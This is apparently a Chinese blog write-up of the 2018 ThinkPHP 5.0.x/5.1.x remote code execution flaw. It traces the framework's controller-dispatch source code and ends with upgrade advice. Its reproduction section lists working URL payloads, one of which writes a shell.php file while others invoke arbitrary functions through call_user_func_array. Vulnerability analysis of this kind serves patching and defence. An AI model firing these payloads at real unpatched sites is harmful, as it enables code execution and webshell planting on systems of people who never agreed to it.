引言
ThinkPHP 是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,因为其易用性、扩展性,已经成长为国内颇具影响力的WEB应用开发框架。
本次ThinkPHP5.x漏洞爆出时间大约是2018-9月,尚处于 0day 阶段时就已经被用于攻击多个虚拟货币类、金融类网站;直到2018-10-8号左右才被广泛传开,杀伤力太大,无条件执行代码,我的几个项目也紧急的升级,有惊无险。
ThinkPHP 5.0.x < 5.0.23
ThinkPHP 5.1.x < 5.1.31
漏洞分析我是第一时间在T00ls上看的,现在已经全网到处都是了。
漏洞分析
该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞。
漏洞点在Module.php,先调用的exec函数,初始化类时调用init()从$this->dispatch获取$controller和 $this->actionName的值然后进入exec函数。
public function init()
{
parent::init();
$result = $this->dispatch;
.........................
$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));
$this->controller = $convert ? strtolower($controller) : $controller;
// 获取操作名
$this->actionName = strip_tags($result[2] ?: $this->rule->getConfig('default_action'));
// 设置当前请求的控制器、操作
$this->request
->setController(Loader::parseName($this->controller, 1))
->setAction($this->actionName);
return $this;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
publicfunctioninit()
{
parent::init();
$result=$this->dispatch;
.........................
$controller=strip_tags($result[1]?:$this->rule->getConfig('default_controller'));
$this->controller=$convert?strtolower($controller):$controller;
// 获取操作名
$this->actionName=strip_tags($result[2]?:$this->rule->getConfig('default_action'));
// 设置当前请求的控制器、操作
$this->request
->setController(Loader::parseName($this->controller,1))
->setAction($this->actionName);
return$this;
}
先调用的exec函数,初始化类时调用init()从$this->dispatch获取$controller和 $this->actionName的值然后进入exec函数。
public function exec()
{
// 监听module_init
$this->app['hook']->listen('module_init');
try {
// 实例化控制器
$instance = $this->app->controller($this->controller,
$this->rule->getConfig('url_controller_layer'),
$this->rule->getConfig('controller_suffix'),
$this->rule->getConfig('empty_controller'));
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
}
$this->app['middleware']->controller(function (Request $request, $next) use ($instance) {
// 获取当前操作名
$action = $this->actionName . $this->rule->getConfig('action_suffix');
if (is_callable([$instance, $action])) {
// 执行操作方法
$call = [$instance, $action];
// 严格获取当前操作方法名
$reflect = new ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $this->rule->getConfig('action_suffix');
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$this->request->setAction($actionName);
// 自动获取请求变量
$vars = $this->rule->getConfig('url_param_type')
? $this->request->route()
: $this->request->param();
} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$this->actionName];
$reflect = new ReflectionMethod($instance, '_empty');
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}
$this->app['hook']->listen('action_begin', $call);
$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);
return $this->autoResponse($data);
});
return $this->app['middleware']->dispatch($this->request, 'controller');
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
publicfunctionexec()
{
// 监听module_init
$this->app['hook']->listen('module_init');
try{
// 实例化控制器
$instance=$this->app->controller($this->controller,
$this->rule->getConfig('url_controller_layer'),
$this->rule->getConfig('controller_suffix'),
$this->rule->getConfig('empty_controller'));
}catch(ClassNotFoundException$e){
thrownewHttpException(404,'controller not exists:'.$e->getClass());
}
$this->app['middleware']->controller(function(Request$request,$next)use($instance){
// 获取当前操作名
$action=$this->actionName.$this->rule->getConfig('action_suffix');
if(is_callable([$instance,$action])){
// 执行操作方法
$call=[$instance,$action];
// 严格获取当前操作方法名
$reflect=newReflectionMethod($instance,$action);
$methodName=$reflect->getName();
$suffix=$this->rule->getConfig('action_suffix');
$actionName=$suffix?substr($methodName,0,-strlen($suffix)):$methodName;
$this->request->setAction($actionName);
// 自动获取请求变量
$vars=$this->rule->getConfig('url_param_type')
?$this->request->route()
:$this->request->param();
}elseif(is_callable([$instance,'_empty'])){
// 空操作
$call=[$instance,'_empty'];
$vars=[$this->actionName];
$reflect=newReflectionMethod($instance,'_empty');
}else{
// 操作不存在
thrownewHttpException(404,'method not exists:'.get_class($instance).'->'.$action.'()');
}
$this->app['hook']->listen('action_begin',$call);
$data=$this->app->invokeReflectMethod($instance,$reflect,$vars);
return$this->autoResponse($data);
});
return$this->app['middleware']->dispatch($this->request,'controller');
}
在$this->app->controller中将$this->controller进行实例化,跟进$this->app->controller。
$instance = $this->app->controller($this->controller,
$this->rule->getConfig('url_controller_layer'),
$this->rule->getConfig('controller_suffix'),
$this->rule->getConfig('empty_controller'));
public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);
if (class_exists($class)) {
return $this->__get($class);
} elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {
return $this->__get($emptyClass);
}
throw new ClassNotFoundException('class not exists:' . $class, $class);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$instance=$this->app->controller($this->controller,
$this->rule->getConfig('url_controller_layer'),
$this->rule->getConfig('controller_suffix'),
$this->rule->getConfig('empty_controller'));
publicfunctioncontroller($name,$layer='controller',$appendSuffix=false,$empty='')
{
list($module,$class)=$this->parseModuleAndClass($name,$layer,$appendSuffix);
if(class_exists($class)){
return$this->__get($class);
}elseif($empty&&class_exists($emptyClass=$this->parseClass($module,$layer,$empty,$appendSuffix))){
return$this->__get($emptyClass);
}
thrownewClassNotFoundException('class not exists:'.$class,$class);
}
$this->parseModuleAndClass对传入的controller进行解析,返回解析出来的class以及module。可以看到如果$name以\开头就将name直接作为class,再返回到controller函数中将$class实例化成object对象,返回给exec函数中的$instance。
protected function parseModuleAndClass($name, $layer, $appendSuffix)
{
if (false !== strpos($name, '\\')) {
$class = $name;
$module = $this->request->module();
} else {
if (strpos($name, '/')) {
list($module, $name) = explode('/', $name, 2);
} else {
$module = $this->request->module();
}
$class = $this->parseClass($module, $layer, $name, $appendSuffix);
}
return [$module, $class];
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protectedfunctionparseModuleAndClass($name,$layer,$appendSuffix)
{
if(false!==strpos($name,'\\')){
$class=$name;
$module=$this->request->module();
}else{
if(strpos($name,'/')){
list($module,$name)=explode('/',$name,2);
}else{
$module=$this->request->module();
}
$class=$this->parseClass($module,$layer,$name,$appendSuffix);
}
return[$module,$class];
}
最后就是调用invokeArgs进行反射调用类中的方法了。
有了任意调用类的方法,我们就只需要找一下可以从那些类进行触发,主要看看\thinkphp\library\think\App.php中的,invokeFunction。
ThinkPHP 5.0.x漏洞invokeFunction
public static function invokeFunction($function, $vars = [])
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);
// 记录执行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
return $reflect->invokeArgs($args);
}
1
2
3
4
5
6
7
8
9
10
publicstaticfunctioninvokeFunction($function,$vars=[])
{
$reflect=new\ReflectionFunction($function);
$args=self::bindParams($reflect,$vars);
// 记录执行信息
self::$debug&&Log::record('[ RUN ] '.$reflect->__toString(),'info');
return$reflect->invokeArgs($args);
}
ThinkPHP 5.1.x漏洞invokeFunction
public function invokeFunction($function, $vars = [])
{
try {
$reflect = new ReflectionFunction($function);
$args = $this->bindParams($reflect, $vars);
return call_user_func_array($function, $args);
} catch (ReflectionException $e) {
throw new Exception('function not exists: ' . $function . '()');
}
}
1
2
3
4
5
6
7
8
9
10
11
12
publicfunctioninvokeFunction($function,$vars=[])
{
try{
$reflect=newReflectionFunction($function);
$args=$this->bindParams($reflect,$vars);
returncall_user_func_array($function,$args);
}catch(ReflectionException$e){
thrownewException('function not exists: '.$function.'()');
}
}
都是对传入的$function以及$var进行动态调用,直接传入?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1即可。
漏洞复现
payload如下:
?s=index/\think\Request/input&filter=phpinfo&data=1
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php %20phpinfo();?> #在shell.php中写入phpinfo
?s=index/\think\view\driver\Php/display&content=<?php %20phpinfo();?> #linux下使用
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
1
2
3
4
5
?s=index/\think\Request/input&filter=phpinfo&data=1
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php %20phpinfo();?>#在shell.php中写入phpinfo
?s=index/\think\view\driver\Php/display&content=<?php %20phpinfo();?>#linux下使用
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
直接访问即可任意代码执行。
漏洞防御
升级到Thinkphp最新版本,包括自动升级最新内核版本和手动升级方法,具体看官方:https://blog.thinkphp.cn/869075 。